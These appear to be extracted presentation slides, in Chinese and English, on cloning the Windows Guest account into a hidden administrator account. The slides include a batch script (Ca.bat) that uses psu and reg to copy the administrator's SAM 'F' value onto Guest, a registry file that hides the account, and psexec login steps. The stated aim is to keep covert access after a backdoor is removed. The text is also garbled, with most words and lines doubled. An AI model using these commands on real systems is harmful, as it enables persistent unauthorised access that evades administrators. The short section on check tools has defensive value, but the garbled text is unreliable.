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使用條件：使用條件：
––已取得對方系統管理者帳號之密碼。已取得對方系統管理者帳號之密碼。

––已取得對方系統管理者權限。已取得對方系統管理者權限。

目的：目的：
––隱藏一個具有系統管理權限之帳號，使系統管隱藏一個具有系統管理權限之帳號，使系統管
理者無法察覺。理者無法察覺。

好處：好處：
––即使後門被移除、系統管理員密碼更改，還可即使後門被移除、系統管理員密碼更改，還可
嘗試利用此一帳號再次進入該系統。嘗試利用此一帳號再次進入該系統。



ToolsTools

Ca.batCa.bat
–– Need Need psu.exepsu.exe、、regedit.exeregedit.exe、、delf.regdelf.reg
Ca.exeCa.exe
Mt.exeMt.exe



psupsu --p p regeditregedit --i 8i 8

•0x1F4 = 500 = administrator’s SID
•0x1F5 = 501 = Guestr’s SID 
•0x3e8 = 1000 = TsInternetUser’s SID





Use Use ““net net localgrouplocalgroup administrators guestadministrators guest””
add Guest to administrators groupadd Guest to administrators group

Before After



使用使用netnet指令加入指令加入administratorsadministrators群組僅會改變群組僅會改變VV值值

Before After



Ca.batCa.bat
%1 =>%1 =>PID(SystemPID(System 8)8)

@@psupsu --p "p "regeditregedit /s /s delf.regdelf.reg" " --i %1i %1
@@psupsu --p "p "regreg copy copy 
hklmhklm\\SAMSAM\\SAMSAM\\DomainsDomains\\AccountAccount\\UsersUsers\\000001F4000001F4\\f f 
hklmhklm\\SAMSAM\\SAMSAM\\DomainsDomains\\AccountAccount\\UsersUsers\\000001F5000001F5\\f" f" 
--i %1i %1
@net user guest /@net user guest /active:yesactive:yes
@net user guest @guest@@net user guest @guest@
@net user guest /@net user guest /active:noactive:no
echo clone guest to admin ok!!echo clone guest to admin ok!!

將administrator的F值
Copy to

Guest的F值





Use Use ““GuestGuest”” LoginLogin



Use Use psexecpsexec connectconnect
Remote 
Machine

Local 
Machine



Ca.exeCa.exe



Value:VValue:V not change  not change  
Value:FValue:F changedchanged

Before After



Try to use clone account connect Try to use clone account connect 
remote machineremote machine

Success!!



Check ToolsCheck Tools

Cca.exeCca.exe
LP_Check.exeLP_Check.exe(GUI)(GUI)
Mt.exeMt.exe





••Cca.exeCca.exe

••mt.exemt.exe



Hide/delete the Guest Account Hide/delete the Guest Account 
Windows Registry Editor Version 5.00 Windows Registry Editor Version 5.00 

[HKEY_LOCAL_MACHINE[HKEY_LOCAL_MACHINE\\SAMSAM\\SAMSAM\\DomainsDomains\\AccountAccount\\UsersUsers\\000001F5] 000001F5] 
"V"=hex:00,00,00,00,b0,00,00,00,02,00,01,00,b0,00,00,00,0a,00,00"V"=hex:00,00,00,00,b0,00,00,00,02,00,01,00,b0,00,00,00,0a,00,00,00,00,00,00,,00,00,00,00,\\
00,bc,00,00,00,00,00,00,00,00,00,00,00,bc,00,00,00,70,00,00,00,000,bc,00,00,00,00,00,00,00,00,00,00,00,bc,00,00,00,70,00,00,00,00,00,00,00,0,00,00,00,\\
2c,01,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,02c,01,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,0,00,00,2c,\\
01,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,001,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,01,0,00,2c,01,\\
00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,000,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,01,00,0,2c,01,00,\\
00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,200,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,c,01,00,00,\\
08,00,00,00,01,00,00,00,34,01,00,00,04,00,00,00,00,00,00,00,38,008,00,00,00,01,00,00,00,34,01,00,00,04,00,00,00,00,00,00,00,38,01,00,00,04,1,00,00,04,\\
00,00,00,00,00,00,00,3c,01,00,00,04,00,00,00,00,00,00,00,40,01,000,00,00,00,00,00,00,3c,01,00,00,04,00,00,00,00,00,00,00,40,01,00,00,04,00,0,00,04,00,\\
00,00,00,00,00,00,01,00,14,80,90,00,00,00,a0,00,00,00,14,00,00,000,00,00,00,00,00,01,00,14,80,90,00,00,00,a0,00,00,00,14,00,00,00,44,00,00,0,44,00,00,\\
00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,000,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,0,00,00,01,\\
00,00,00,00,02,c0,14,00,ff,ff,1f,00,01,01,00,00,00,00,00,05,07,000,00,00,00,02,c0,14,00,ff,ff,1f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,0,00,00,02,\\
00,4c,00,03,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,00,000,4c,00,03,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,00,00,01,00,00,0,01,00,00,\\
00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,000,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,0,20,02,00,\\
00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,200,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,4,02,00,00,\\
01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,0101,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01



psupsu --p "p "regeditregedit /s /s noguest.regnoguest.reg" " --i 8i 8



Guest Guest HideHide & & deletedelete
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